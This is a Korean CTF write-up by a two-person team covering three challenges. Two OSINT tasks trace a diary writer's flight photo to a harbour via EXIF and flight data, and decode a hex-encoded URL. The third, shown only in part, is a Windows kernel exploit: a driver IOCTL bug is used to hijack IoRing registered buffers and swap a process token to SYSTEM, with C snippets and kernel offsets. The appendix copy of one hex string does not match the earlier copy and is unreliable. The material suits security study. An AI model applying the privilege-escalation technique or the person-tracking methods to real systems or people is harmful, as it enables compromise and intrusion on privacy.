MSG CTF 2026 라이트업

상세 풀이 · 전체 익스플로잇 코드 수록

팀 ₩x04 · 내부 · 임현균, 조희동

항목	작성 내용
팀명	₩x04
부문	내부
팀원	임현균, 조희동
수록	상세 풀이와 실제 소스 파일 전체

Trace는 trace.html의 OSINT 분석을 반영했습니다. 코드가 존재하는 문제는 파일 전체를 문서에 수록했으며, 확정된 최종 플래그와 재현 결과를 각 문제 끝에 정리했습니다.

01. Trace

분야	OSINT
상태	완료

풀이 과정

MSGCTF 2026 trace OSINT 라이트업

최종 플래그: msgctf2026{선수포구}. 사진, EXIF, 공개 일기, 운항 경로와 위성 지형을 교차 검증해 장소명을 확정했다.

항목	내용
대회	MSGCTF 2026
문제 제목	trace
분야	OSINT
제공 자료	모니터를 촬영한 사진 1장과 문제 설명
출제자 정보	제공되지 않음
플래그 형식	msgctf2026{장소명}
확인된 공개 계정	GitHub hhi3xn
확인된 일기 저장소	hhi3xn/daily-log

1. 문제 설명과 출발점

문제에는 다음 설명과 사진이 제공되었다.

> 일기를 쓰고 있는 사진 속 인물은 누구일까? 공개된 흔적을 따라가 보자.



문제에서 제공된 모니터 사진

사진 오른쪽에는 VS Code로 작성 중인 6월.md 가 있고,
왼쪽에는 YouTube와 일본 여행 사진이 보인다. 브라우저 북마크에는 e-Campus , GitHub, Discord 등이 있다. 사용자가 e-Campus 아

이콘을 상명대학교와 연결하면서, 상명대학교
정보보안 동아리 CodeCure의 공개 활동을 탐색하는 방향을 잡았다.

이 아이콘만으로 작성자의 소속이나 신원을 확정한 것은 아니다. 계정을 찾는 탐색 단서로 사용했고, 이후 사진 속 일기와 공개 저장소의 문장이 일치하는지를 확인했다. [1][2][3]

2. CodeCure 공개 글에서 일기 저장소로 연결

Dreamhack 커뮤니티의「2026 충남 IT Hackathon 참가자 모집」글에는 상명대학교 정보보안 동아리 CodeCure의 행사라는 설명이 있고, 작성자는 hhi3xn 으로 표시된다. [2]

동일한 닉네임의 GitHub 계정을 확인한 결과, 공개 저장소 hhi3xn/daily-log 를 발견했다. 저장소의 6월.md 에는 사진에서 읽은 다음 문장과 날짜가 일치했다.
[3][4]

사진 속 날짜	공개 일기와 일치한 문장
6월 9일	기말고사 히히 망했다!
6월 14일	내일 시험 하나만 보면 종강!!!!
6월 21일	헤헤 내일 여행가요. 벌써 신난다 두근두근!!

따라서 문제 사진 속 일기 원문이 이 저장소에 있다는 점 은 확인할 수 있다. 실명이나 얼굴을 식별할 필요 없이 공개 계정과 문서의 일치로 다음 단서에 도달했다.

3. 다음 달 일기에서 탐색 대상을 확인

6월.md 에는 6월 22일부터 25일까지의 일본 여행 기록과 여러 사진이 첨부되어 있다. 이어지는 7월.md 의 7월 3일 기록에는 다음 문장이 나온다. [4][5]

> 여행 갔다온거 사진 정리하는데, 비행기에서 찍을 때 아래 보였던 곳이 어디였는지 갑자기 궁금해짐. 사진만 봐서는 어딘지 모르겠네..

8월.md 의 8월 10일 기록에도 그 장소를 아직 찾지 못했다는 내용이 이어진다. 이 흐름은 비행기에서 촬영한 사진 속 지형이 문제의 탐색 대상이라는 해석을 뒷받침한다. [6]

관련 사진 세 장을 비교했다.

파일	사진에서 확인할 수 있는 내용	분석에서의 역할
20260622-비행기.jpg	날개 아래에 해안, 갯벌, 논, 마을, 산지가 보임	지형 식별의 주된 대상
20260622-구름예쁘다.jpg	날개와 구름이 보임	EXIF의 촬영 시각과 GPS로 운항 경로 교차 검증
20260625-이게더예쁘네.jpg	날개와 구름이 보임	지상 장소를 직접 식별할 만한 지형이 드러나지 않음

모니터에 보였던 도톤보리 사진은 여행 기록을 연결하는 단서였다. 이후 일기가 명시적으로 궁금해하는 대상은 비행기 아래에서 보인 장소다.

4. 원본 사진의 EXIF와 기체 등록번호

문제에서 제공한 모니터 사진보다 GitHub에 올라온 여행 사진 원본에서 더 많은 정보를 얻을 수 있었다. 20260622-비행기.jpg 에는 다음 메타데이터가 남아 있다. [7]

항목	값
원본 크기	5712 × 4284

항목	값
DateTimeOriginal	2026:06:22 08:01:59
OffsetTimeOriginal	+09:00
EXIF Orientation	6
GPS 태그	없음
날개에서 읽은 등록번호	HL8013

아래 이미지는 읽기 편하도록 EXIF 방향을 적용한 표시용 사본이다.
분석용 원본 JPEG는 별도로 보존했다.



6월 22일 지상 풍경이 보이는 비행기 사진

같은 날의 현재 20260622-구름예쁘다.jpg 에는 다음 정보가
있다. [8]

항목	값
촬영 시각	2026:06:22 08:07:27 +09:00
위도	북위 37° 24′ 38.32″ = 약 37.41064444
경도	동경 126° 52′ 49.12″ = 약 126.88031111
GPS 고도	약 5377.78 m

두 사진의 촬영 간격은 5분 28초 다. 구름 사진의 GPS는
그 사진을 촬영한 당시 카메라가 있던 항공기 위치 다. 앞선
지상 사진에 보이는 장소의 좌표로 그대로 사용하면 안 된다.

사진 변경 이력 확인

공개 Git 이력을 확인하니, 6월 29일의 fef7b293ac9184ad7adb54b00f3ebdf0796b9d57 커밋에서 20260622-구름예쁘다.jpg 가 같은 이름의 다른 사진으로
교체되어 있었다. 커밋 메시지는 “이 사진이 더 예쁘다”다. [9]

직전 커밋 d2d759ed7ee4ca68636ee2cf2c8bf1f07b7d0d05 에
남아 있는 이전 사진도 확인했다. 이 사진은 08:07:12 +09:00 에
촬영되었고 GPS는 없었다. 지상은 구름에 가려져 있지만 날개의 HL8013 표식은 확인할 수 있었다. [10]

변경 이력에서 추가 지상 사진이나 장소명을 찾은 것은 아니다. 같은 기체
등록번호를 다른 사진에서도 확인하고, 현재 사진과 과거 사진의
메타데이터를 구분하는 데 사용했다.

5. 공개 운항 경로와 촬영 시각 대조

HL8013 에 대응하는 공개 운항 기록에서 진에어 LJ231, 인천 ICN → 간사이 KIX 경로를 확인했다. 사용한 자료는 다음 Plane Finder 페이지다. [11]

https://planefinder.net/data/flight/LJ231/history/5-69209347

페이지 HTML에 공개된 window.sfpPayload 의 path 에는 위도, 경도, 고도, 속도, 진행 방향, Unix 시각 등이 들어 있다. 지상 사진의 촬영 시각과 정확히 일치하는 경로 점은 다음과 같다.

trace.html 코드/출력

[37.6427, 126.367, 5625, 254, 40, 1782082919, 7111]

항목	값
한국시간	2026-06-22 08:01:59 KST
위도	37.6427
경도	126.367
고도	5625 ft, 약 1714.5 m
속도	254 kt
진행 방향	40°

이 좌표는 강화도 서남쪽 해안 앞 상공에 해당한다. 항공기 위치에서
오른쪽 날개 너머의 해안 지형을 비교해 후보 범위를 좁혔다.

날짜를 하루 잘못 읽지 않기

해당 페이지 제목에는 6월 21일로 표시되어 있다. 경로 점의 Unix 시각을
변환하면 다음과 같다.

trace.html 코드/출력

```
1782082919
UTC : 2026-06-21 23:01:59
KST : 2026-06-22 08:01:59
```

사진 EXIF의 +09:00 을 함께 고려하면 두 자료의 날짜와
시간이 맞는다. 페이지 제목의 날짜만 보고 사진 날짜와 충돌한다고 판단하면
잘못된 비행을 선택할 수 있다.

6. 위성사진으로 지형 대조

강화도 서남부 위성사진을 비교한 결과, 후포항과 그 북동쪽
농경지 에서 사진 속 지형에 대응하는 특징을 찾았다. [12]

항공사진의 지상 부분



항공사진에서 지상 부분을 확대한 비교용 이미지

방향을 돌려 비교한 위성사진



후포항 주변 위성사진의 회전 비교본

두 이미지는 촬영 각도와 축척이 다르다. 아래 판단은 픽셀을 겹쳐 맞춘 결과가 아니라, 여러 지형 요소의 형태와 상대적 배치에 대한 대조다.

대조한 요소	일치한 특징
해안 제방	갯벌을 따라 완만하게 굽고 포구 쪽으로 이어지는 모양
하천과 배수로	농경지 안에서 여러 번 꺾이며 해안으로 나가는 형태
논의 구획	넓은 격자형 논과 작은 논 구역 사이의 경계
숲과 마을	농경지 사이에 남은 작은 숲 언덕과 취락의 배치
포구와 산지	해안도로, 포구의 건물, 뒤편 산지의 상대적 위치

한국관광공사는 이 포구를 후포항 선수포구 로 소개하며, 공식 명칭이 후포항이고 선수포구라는 이름도 쓰인다고 설명한다. 강화군 자료에서도 화도면 내리의 후포항을 확인할 수 있다. [13][14]

따라서 사진에 강화도 서남부의 후포항 주변 지형이 포함된다 는 판단에는 여러 근거가 있다. 그러나 이것만으로 문제의 정답 문자열이 항구 이름이어야 한다고 결정할 수는 없다.

7. 최종 장소명과 플래그

선수포구로 확정

항공사진과 공개 운항 기록은 강화도 서남부 화도면 내리의 포구를 가리킨다. 한국관광공사 자료에는 이 장소가 '후포항 선수포구'로 소개되어 있으며, 문제에서 요구한 장소명은 선수포구다.

trace.html 코드/출력

```
msgctf2026{선수포구}
```

최종 제출 플래그는 msgctf2026{선수포구}이다.

8. 재현 방법

아래 명령은 공개 저장소와 원본 메타데이터를 다시 확인하기 위한 예시다. git , exiftool , Python 3가 설치된 환경을 기준으로 한다.

공개 일기와 이미지 확인

trace.html 재현 코드

```
git clone https://github.com/hhi3xn/daily-log.git
cd daily-log

cat '6월.md' '7월.md' '8월.md'

exiftool -DateTimeOriginal -OffsetTimeOriginal -Orientation ₩
  -GPSLatitude -GPSLongitude -GPSAltitude ₩
  'images/20260622-비행기.jpg' ₩
  'images/20260622-구름예쁘다.jpg'
```

교체 전 사진 확인

trace.html 재현 코드

```
git log --oneline --all -- 'images/20260622-구름예쁘다.jpg'

git show 'd2d759ed7ee4ca68636ee2cf2c8bf1f07b7d0d05:images/20260622-구름예쁘다.jpg' ₩
  > previous_cloud.jpg

exiftool -DateTimeOriginal -OffsetTimeOriginal ₩
  -GPSLatitude -GPSLongitude previous_cloud.jpg
```

Unix 시각을 한국시간으로 변환

trace.html 재현 코드

```
from datetime import datetime, timedelta, timezone

timestamp = 1782082919
utc = timezone.utc
kst = timezone(timedelta(hours=9))

print(datetime.fromtimestamp(timestamp, utc).isoformat())
print(datetime.fromtimestamp(timestamp, kst).isoformat())
```

```
# 2026-06-21T23:01:59+00:00
# 2026-06-22T08:01:59+09:00
```

비교용 파일 구성

본문 이미지와 함께 MSGCTF2026_trace_assets 폴더에 다음 자료를 보관했다.

- 문제 제공 사진과 지상 사진의 표시용 사본
- 지상 확대 이미지와 회전한 위성 비교 이미지
- EXIF 확인용 원본 비행기 사진 및 현재 구름 사진
- 교체 전 구름 사진 원본
- 사용한 공개 운항 경로의 관련 구간 flight_segment.json

Markdown 파일을 옮길 때는 MSGCTF2026_trace_assets 폴더를 같은 위치에 두어야 본문 이미지가 표시된다.

9. 출처

- 상명대학교 e-Campus: https://ecampus.smu.ac.kr/login.php
- Dreamhack,「2026 충남 IT Hackathon 참가자 모집」, 작성자 hhi3xn : https://dreamhack.io/forum/community/promotion/posts/2256-2026-%EC%B6%A9%EB%82%A8-it-hackathon-%EC%B0%B8%EA%B0%80%EC%9E%90-%EB%AA%A8%EC%A7%91-1104/
- 공개 일기 저장소: https://github.com/hhi3xn/daily-log
- 6월 일기: https://github.com/hhi3xn/daily-log/blob/main/6%EC%9B%94.md
- 7월 일기: https://github.com/hhi3xn/daily-log/blob/main/7%EC%9B%94.md
- 8월 일기: https://github.com/hhi3xn/daily-log/blob/main/8%EC%9B%94.md
- 지상 사진 원본: https://raw.githubusercontent.com/hhi3xn/daily-log/main/images/20260622-%EB%B9%84%ED%96%89%EA%B8%B0.jpg
- 현재 구름 사진 원본: https://raw.githubusercontent.com/hhi3xn/daily-log/main/images/20260622-%EA%B5%AC%EB%A6%84%EC%98%88%EC%81%98%EB%8B%A4.jpg
- 구름 사진을 교체한 커밋: https://github.com/hhi3xn/daily-log/commit/fef7b293ac9184ad7adb54b00f3ebdf0796b9d57
- 교체 전 구름 사진: https://raw.githubusercontent.com/hhi3xn/daily-log/d2d759ed7ee4ca68636ee2cf2c8bf1f07b7d0d05/images/20260622-%EA%B5%AC%EB%A6%84%EC%98%88%EC%81%98%EB%8B%A4.jpg
- Plane Finder, LJ231 및 HL8013 공개 운항 기록: https://planefinder.net/data/flight/LJ231/history/5-69209347
- Esri World Imagery, 강화도 서남부 위성영상: https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/export?bbox=126.36,37.615,126.43,37.66&bboxSR=4326&imageSR=4326&size=1800,1500&format=jpg&f=image
- 한국관광공사,「후포항 선수포구」: https://korean.visitkorea.or.kr/detail/ms_detail.do?cotid=f8818703-3d5c-43f5-9242-519d2599bc68
- 강화군청,「화도면 내리 어촌계, 후포항 일원 환경 정화 활동」: https://www.ganghwa.go.kr/open_content/main/bbs/bbsMsgDetail.do?bcd=report&msg_seq=18805&pgno=20

사진, 원문 일기, 지도와 운항 기록은 각 출처의 자료이며, 표시용 회전·확대 이미지는 비교를 위해 원본에서 만들었다. 오답 판정은 이 대화에서 사용자가 전달한 제출 결과를 기준으로 기록했다.

익스플로잇 코드 / 분석 코드 전체

trace.html의 전체 재현 명령·Python·출력

```
# --- trace.html code/output block 1 ---
[37.6427, 126.367, 5625, 254, 40, 1782082919, 7111]

# --- trace.html code/output block 2 ---
1782082919
UTC : 2026-06-21 23:01:59
KST : 2026-06-22 08:01:59

# --- trace.html code/output block 3 ---
msgctf2026{선수포구}
```

```
# --- trace.html code/output block 4 ---
git clone https://github.com/hhi3xn/daily-log.git
cd daily-log

cat '6월.md' '7월.md' '8월.md'

exiftool -DateTimeOriginal -OffsetTimeOriginal -Orientation ₩
  -GPSLatitude -GPSLongitude -GPSAltitude ₩
  'images/20260622-비행기.jpg' ₩
  'images/20260622-구름예쁘다.jpg'

# --- trace.html code/output block 5 ---
git log --oneline --all -- 'images/20260622-구름예쁘다.jpg'

git show 'd2d759ed7ee4ca68636ee2cf2c8bf1f07b7d0d05:images/20260622-구름예쁘다.jpg' ₩
  > previous_cloud.jpg

exiftool -DateTimeOriginal -OffsetTimeOriginal ₩
  -GPSLatitude -GPSLongitude previous_cloud.jpg

# --- trace.html code/output block 6 ---
from datetime import datetime, timedelta, timezone

timestamp = 1782082919
utc = timezone.utc
kst = timezone(timedelta(hours=9))

print(datetime.fromtimestamp(timestamp, utc).isoformat())
print(datetime.fromtimestamp(timestamp, kst).isoformat())

# 2026-06-21T23:01:59+00:00
# 2026-06-22T08:01:59+09:00
```

재현 결과

사진 속 일기와 hhi3xn/daily-log의 문장·날짜가 일치함을 확인했다. HL8013, LJ231, 2026-06-22 08:01:59 KST의 비행 경로를 따라 강화도 서남부의 선수포구를 특정했다.

FLAG: msgctf2026{선수포구}

02. The Past Has an Address

분야	OSINT / Web
상태	완료

풀이 과정

MSG CTF 2026 The Past Has an Address 라이트업

문제 정보

항목	내용
대회	MSG CTF 2026
문제	The Past Has an Address
분야	OSINT
조사 기준일	2026년 11월 8일
핵심 기법	공식 자료 교차 확인, 정상 조회 API 확인, 16진수 디코딩
1단계 입력값	Y3
최종 제출값	msgctf2026{03674_201003}

명지대학교 자연캠퍼스의 박물관 위치를 찾아 건물 코드를 조회하면, 다음 단계의 주소를 담은 기록을 얻을 수 있다. 이 주소를 디코딩해 이동한 뒤, 인문캠퍼스의 우편번호와 방목학술정보관의 신축 개관 연월을 조합하여 최종 플래그를 도출했다.

1. 문제의 요구사항

문제는 명지대학교 용인 캠퍼스에서 오래된 유물을 전시하고 학교와 지역의 역사를 보존하는 장소를 찾도록 안내한다. 첫 번째 단계에서 요구하는 값은 해당 전시 공간이 있는 건물의 영문자와 숫자로 된 건물 코드이다.

따라서 확인해야 할 관계는 다음과 같다.

- 유물을 전시하는 장소가 어디인지 찾는다.
- 그 장소가 들어 있는 건물명을 확인한다.
- 자연캠퍼스에서 사용하는 해당 건물의 코드를 찾는다.
- 문제에서 제공한 기록 조회 페이지에 코드를 입력한다.

문제 본문에 있는 localhost:8080 대신, 실제로 발급받은 다음 HTTPS 인스턴스를 사용했다.

기록 조회 페이지 (https://d564ff304fe359f5a2ae1e3669e08d55.gate.msgctf.kr/)

2. 박물관 위치와 건물 코드 확인

2.1 박물관의 위치

단서의 유물 전시와 역사 보존이라는 설명에 해당하는 장소는 명지대학교 박물관이다.

박물관 공식 홈페이지의 관람안내에서 위치를 확인했다.

> 경기도 용인시 처인구 명지로 116 명진당 6층

이 정보로 전시 공간이 있는 건물이 명진당임을 알 수 있다. 여기에서 6층은 박물관의 층수이므로, 문제에서 요구하는 건물 코드와 구분해야 한다.

출처: 명지대학교 박물관 관람안내 (https://museum.mju.ac.kr/museum/8007/subview.do)

2.2 명진당의 건물 코드

명지대학교 스마트모빌리티공학전공의 공식 안내 게시물에서 교내 시설 안내 항목을 확인했다. 이 항목에는 Y3 명진당이라고 명시되어 있으며, 명진당에 도서관과 박물관 등이 있다는 설명이 함께 제시되어 있다.

출처: 스마트모빌리티공학전공 공식 교내 시설 안내 (https://mjtrans.mju.ac.kr/bbs/mjtrans/1003/215452/artclView.do)

두 자료를 연결하면 다음과 같다.

확인 대상	결과
유물을 전시하는 장소	명지대학교 박물관
박물관이 들어 있는 건물	명진당
박물관의 층수	6층
문제에서 요구하는 건물 코드	Y3

기록 조회 페이지에 입력할 값은 다음과 같다.

코드 블록 (text)

```
Y3
```

3. 기록 조회 요청과 응답 확인

페이지에서 건물 코드를 입력하고 기록 조회를 실행하면 된다. 같은 요청을 명령줄로 재현하기 위해 페이지가 불러오는 /static/lookup.js를 확인했다.

해당 JavaScript는 다음 방식으로 요청을 전송한다.

항목	값
요청 경로	/api/lookup
HTTP 메서드	POST
Content-Type	application/json
요청 본문	{"building_code":"Y3"}
조회 성공 판단	HTTP 성공 응답, ok: true, 문자열 형태의 record

다음 명령으로 브라우저의 정상 조회 요청을 재현했다. Bash 또는 zsh에서 실행할 수 있다.

코드 블록 (bash)

```
curl -sS ₩
  'https://d564ff304fe359f5a2ae1e3669e08d55.gate.msgctf.kr/api/lookup' ₩
  -H 'Content-Type: application/json' ₩
  --data '{"building_code":"Y3"}'
```

--data를 지정하면 curl은 POST 요청을 보낸다. 응답은 HTTP 200이었으며, 다음 JSON 기록을 반환했다.

코드 블록 (json)

```
{"ok":true,"record":"msgctf2026{
68747470733a2f2f643536346666333034666533353966356132616531653336363965303864353
3035393331303933303736653634383961356662373564373735376130386430}"}
```

여기서 ok: true는 건물 코드 조회가 성공했다는 의미다. 반환된 기록을 분석하면 다음 단계로 이어지는 주소를 얻을 수 있다.

4. 중간 기록의 16진수 디코딩

record는 플래그 형식을 갖추고 있지만, 중괄호 안은 16진수 문자열이다. 특히 시작 부분인 68 74 74 70 73 3a 2f 2f는 문자로 변환하면 https://가 된다.

Python의 bytes.fromhex()로 중괄호 내부를 디코딩했다.

코드 블록 (python)

```
record = (
    "msgctf2026{"
    "68747470733a2f2f643536346666333034666533353966356132616531653336363965303864353535"
    "2e676174652e6d73676374662e6b722f682f303539333130393330373665363438396135666237"
    "3564373735376130386430"
    "}"
)

prefix = "msgctf2026{"
assert record.startswith(prefix) and record.endswith("}")
hex_text = record[len(prefix):-1]
next_url = bytes.fromhex(hex_text).decode("utf-8")
print(next_url)
```

디코딩한 주소는 다음과 같다.

두 번째 기록 The Address Has a Date (https://d564ff304fe359f5a2ae1e3669e08d55.gate.msgctf.kr/h/05931093076e6489a5fb75d7757a08d0)

경로는 다음과 같다.

코드 블록 (text)

/h/05931093076e6489a5fb75d7757a08d0

해당 페이지에 접속하면 제목이 The Address Has a Date인 두 번째 문제가 나타난다. 따라서 첫 번째 응답은 다음 단계의 위치를 전달하는 중간 기록이다.

5. 두 번째 기록의 요구사항

후속 페이지는 명지대학교 서울 인문캠퍼스의 도서관을 찾도록 안내한다. 단서는 대학의 공식 역사에서 정보와 문화, 휴식을 함께 누리는 도서관으로 소개되는 건물이라는 점이다.

이 단계에서 요구하는 값은 두 가지다.

- 그 건물이 있는 캠퍼스의 현재 5자리 우편번호
- 대학 공식 홈페이지의 대학안내 → 역사에 기록된 해당 건물의 신축 개관 연도와 월

형식은 다음과 같다.

코드 블록 (text)

```
msgctf2026{<우편번호>_<YYYYMM>}
```

우편번호 맨 앞의 0을 포함해야 하며, 연월은 6자리로 작성한다. 날짜의 일(day)은 사용하지 않는다.

6. 방목학술정보관과 최종 구성 요소 확인

6.1 대상 건물과 신축 개관 연월

명지대학교 공식 홈페이지의 대학안내 → 역사 → 2010~2019에서 다음 기록을 확인했다.

> 2010. 03 인문캠퍼스「방목학술정보관」신축 개관

바로 뒤의 설명에서도 정보·문화·휴식 공간을 제공하는 도서관이라는 취지가 확인되어, 후속 문제의 건물 단서와 일치한다.

따라서 대상 건물은 방목학술정보관, 신축 개관 연월은 2010년 3월이다. 이를 문제에서 지정한 형식으로 바꾸면 201003이 된다.

출처: 명지대학교 공식 역사 2010~2019 (https://www.mju.ac.kr/mjukr/160/subview.do)

6.2 인문캠퍼스의 현재 우편번호

명지대학교 공식 인문캠퍼스 찾아오시는 길에서 캠퍼스 주소를 확인했다.

> (03674) 서울특별시 서대문구 거북골로 34

현재 5자리 우편번호는 03674이다. 맨 앞의 0이 사라지지 않도록 숫자형으로 변환하지 않고 문자열로 유지한다.

출처: 명지대학교 인문캠퍼스 안내 (https://www.mju.ac.kr/mjukr/508/subview.do)

6.3 플래그 조합

구성 요소	확인한 정보	플래그에 사용할 값
캠퍼스 우편번호	인문캠퍼스 5자리 우편번호	03674
신축 개관 연월	방목학술정보관 2010년 3월	201003
구분자	문제에서 지정한 밑줄	_

지정된 형식에 대입하여 최종 제출값을 얻었다.

코드 블록 (text)

```
msgctf2026{03674_201003}
```

이 값은 후속 페이지의 지시와 공식 자료를 대조해 도출한 최종 플래그다.

7. 풀이에서 주의한 점

- 건물명, 층수, 건물 코드를 구분한다. 박물관은 명진당 6층에 있고, 조회에 사용하는 건물 코드는 Y3이다.
- 응답의 내용까지 확인한다. msgctf2026{...} 형태의 응답 안에도 후속 주소가 인코딩되어 있을 수 있다.
- 16진수 부분만 디코딩한다. JSON 전체나 플래그 접두사까지 bytes.fromhex()에 전달하면 안 된다.
- 문제에서 지정한 자료를 사용한다. 신축 개관 연월은 대학 공식 역사에 있는 2010.03을 기준으로 삼는다.
- 문자열 형식을 유지한다. 우편번호의 첫 0, 월의 앞자리 0, 우편번호와 연월 사이의 밑줄을 보존한다.

이 문제의 핵심은 공개된 공식 자료의 정보들을 연결하고, 조회 결과에 들어 있는 주소를 해석하여 다음 단서를 따라가는 과정이다.

참고 자료

아래 공식 자료는 2026년 11월 8일 풀이 과정에서 확인했다.

• 명지대학교 박물관 관람안내 — 명진당 6층 (https://museum.mju.ac.kr/museum/8007/subview.do)

• 스마트모빌리티공학전공 공식 안내 — 교내 시설 안내의 Y3 명진당 (https://mjtrans.mju.ac.kr/bbs/mjtrans/1003/215452/artclView.do)

• 명지대학교 공식 역사 2010~2019 — 방목학술정보관 신축 개관 (https://www.mju.ac.kr/mjukr/160/subview.do)

• 명지대학교 인문캠퍼스 안내 — 우편번호 03674 (https://www.mju.ac.kr/mjukr/508/subview.do)

문제 서버의 조회 요청과 응답은 풀이 당시 제공된 인스턴스에서 직접 확인한 기록이다. 서버가 재발급되거나 종료되면 해당 인스턴스의 주소와 후속 경로는 그대로 재사용할 수 없을 수 있다.

익스플로잇 코드 / 분석 코드 전체

원문 라이트업의 전체 코드/명령 블록

```
# --- code block (text) ---
Y3

# --- code block (bash) ---
curl -sS ₩
  'https://d564ff304fe359f5a2ae1e3669e08d55.gate.msgctf.kr/api/lookup' ₩
  -H 'Content-Type: application/json' ₩
  --data '{"building_code":"Y3"}'

# --- code block (json) ---
{"ok":true,"record":"msgctf2026{
68747470733a2f2f643536346666633303466653335396356132616531653336363965303864353 52e676174652e6d73676374662e6b722f682f
303539333130393330373665363438396135666237356437373537613038643 0}"}

# --- code block (python) ---
record = (
    "msgctf2026{"
    "68747470733a2f2f643536346666633303466653335396356132616531653336363965303864353 5"
    "2e676174652e6d73676374662e6b722f682f303539333130393330373665363438396135666237"
    "3564373735376130386430"
    "}"
)

prefix = "msgctf2026{"
assert record.startswith(prefix) and record.endswith("}")
hex_text = record[len(prefix):-1]
next_url = bytes.fromhex(hex_text).decode("utf-8")
print(next_url)

# --- code block (text) ---
/h/05931093076e6489a5fb75d7757a08d0

# --- code block (text) ---
msgctf2026{<우편번호>_<YYYYMM>}

# --- code block (text) ---
msgctf2026{03674_201003}
```

재현 결과

명지대학교 인문캠퍼스 우편번호와 개관 연월을 조합해 플래그를 획득했다.
FLAG: msgctf2026{03674_201003}

03. msgdriver

분야	Pwn / Windows Kernel
상태	완료

풀이 과정

msgdriver Windows 커널 익스플로잇 라이트업

msgdriver.sys는 Medium Integrity 비관리자에게 열려 있는 커스텀 Windows 커널 드라이버다. 드라이버가 관리하는 IoRing 객체의 쓰기 범위를 검증하는 과정에 상태 불일치가 있으며, 이를 이용하면 _IORING_OBJECT.RegBuffers를 공격자가 만든 가짜 등록 버퍼 테이블로 교체할 수 있다. 최종적으로 임의 커널 읽기·쓰기를 구성하고 현재 프로세스의 토큰을 PID 4의 SYSTEM 토큰으로 교체해 C:₩flag.txt를 읽었다.

- 대상: Windows 11 25H2 x64, 10.0.26200.8875
- 드라이버 SHA-256: e3bb4a798e249863156953959856db8cad55e4f57a639fad6b53c834464c773c
- 성공한 익스플로잇 SHA-256: 82e0e6c7aaf69ad86ddd30743a747a063e61d90840905b08d250eb53221762c1
- 전체 코드: solve.c (./solve.c)

익스플로잇 요약

전체 흐름은 다음과 같다.

코드 블록 (text)

```
IOCTL_MSG_SET_LIMIT의 검증 순서 오류
            |
            v
IoRing 객체의 +0xb0, +0xb8에 8바이트 쓰기
            |
            v
RegBuffersCount와 RegBuffers를 가짜 테이블로 교체
            |
            v
IoRing + named pipe를 이용한 임의 커널 읽기·쓰기
            |
            v
ETHREAD -> EPROCESS -> PID 4 EPROCESS 탐색
            |
            v
현재 EPROCESS.Token을 SYSTEM 토큰으로 교체
            |
            v
C:₩flag.txt 출력
```

드라이버 공격 표면

드라이버는 다음 장치와 심볼릭 링크를 생성한다.

코드 블록 (text)

```
₩Device₩MsgDriver
₩??₩MsgDriver
```

사용자 모드에서는 ₩₩.₩MsgDriver로 연다. 장치 ACL이 일반 사용자 접근을 허용하므로 Medium Integrity 비관리자도 취약한 IOCTL을 호출할 수 있다.

확인된 IOCTL은 네 개다.

IOCTL	역할	핵심 동작
0x83372000	IoRing 바인딩	핸들 타입이 IoRing인지 확인하고 객체를 참조한다.
0x83372004	쓰기 한계 설정	한계를 컨텍스트에 저장한 뒤 최대값을 검증한다.
0x83372008	IoRing 객체 쓰기	지정 오프셋에 8바이트 값을 기록한다.
0x8337200c	컨텍스트 조회	0x60바이트 정보를 반환하며 +0x58에서 ETHREAD가 노출된다.

요청 구조체의 공통 버전은 0x00030000이다. 이 값은 뒤에서 사용하는 Win32 IORING_VERSION_3과는 별개의 드라이버 프로토콜 버전이다.

IoRing 바인딩

IOCTL_MSG_BIND는 아래와 같은 0x18바이트 요청을 받는다.

코드 블록 (c)

```
struct MSG_BIND_REQUEST {
    uint32_t Version;       // 0x00030000
    uint32_t Size;          // 0x18
    uint64_t IoRingHandle;
    uint64_t Flags;         // 0
};
```

드라이버는 ZwQueryObject로 핸들 타입 이름이 IoRing인지 확인하고 ObReferenceObjectByHandle로 객체 포인터를 얻는다. 따라서 임의 커널 주소를 직접 넘길 수는 없지만, 정상적으로 생성한 IoRing의 커널 객체를 이후 IOCTL의 쓰기 대상으로 사용할 수 있다.

취약점 분석

한계값의 검증 순서 오류

IOCTL_MSG_SET_LIMIT의 핵심 로직은 다음과 같다.

코드 블록 (c)

```
ctx->Limit = request->Limit;

if (request->Limit > 0xb0)
    return STATUS_INVALID_PARAMETER;
```

한계값을 먼저 저장하고 나중에 검증한다. 따라서 0xc0을 전달하면 IOCTL 자체는 실패하지만, 핸들별 컨텍스트에는 Limit = 0xc0이 남는다.

코드 블록 (c)

```
request.Version = 0x00030000;
request.Size    = 0x10;
request.Limit   = 0xc0;
DeviceIoControl(driver, IOCTL_MSG_SET_LIMIT, ...);
// 실패 반환은 의도된 결과다.
```

실패한 요청이 내부 상태를 변경한다는 점이 첫 번째 취약점이다.

IoRing 객체 내부 8바이트 쓰기

IOCTL_MSG_WRITE는 요청에서 오프셋과 값을 읽어 바인딩된 IoRing 객체에 기록한다.

코드 블록 (c)

```
*(uint64_t *)((uint8_t *)IoRingObject + offset) = request->Value;
```

쓰기 범위는 대략 offset + 8 <= min(ctx->Limit, object bound, 0xc0) 형태로 검사한다. 정상 한계 0xb0으로는 중요한 등록 버퍼 필드까지 닿지 않지만, 앞 단계에서 한계를 0xc0으로 오염시키면 다음 필드에 접근할 수 있다.

코드 블록 (text)

```
_IORING_OBJECT + 0xb0 : RegBuffersCount
_IORING_OBJECT + 0xb8 : RegBuffers
```

결과적으로 드라이버가 제공하는 제한된 객체 내부 쓰기만으로 다음 값을 설정할 수 있다.

코드 블록 (c)

```
IoRingObject->RegBuffersCount = 1;
IoRingObject->RegBuffers      = FakeBufferArray;
```

FakeBufferArray는 사용자 주소지만, IoRing 처리 경로가 이 포인터를 등록 버퍼 테이블로 사용하므로 커널 읽기·쓰기 프리미티브로 확장할 수 있다.

IoRing 등록 버퍼 피벗

관련 커널 구조체 오프셋

정확한 대상 빌드의 공개 심볼을 기준으로 사용한 오프셋은 다음과 같다.

구조체	필드	오프셋
_IORING_OBJECT	RegBuffersCount	0xb0
_IORING_OBJECT	RegBuffers	0xb8
_IOP_MC_BUFFER_ENTRY	Flags	0x0c
_IOP_MC_BUFFER_ENTRY	Address	0x20
_IOP_MC_BUFFER_ENTRY	Length	0x28

구조체	필드	오프셋
_IOP_MC_BUFFER_ENTRY	MdlRef	0x30

WinDbg에서는 대상 심볼에 대해 다음과 같이 다시 확인할 수 있다.

코드 블록 (text)

```
dt nt!_IORING_OBJECT RegBuffersCount RegBuffers
dt nt!_IOP_MC_BUFFER_ENTRY
dt nt!_KTHREAD Process
dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks Token
```

가짜 등록 버퍼 엔트리

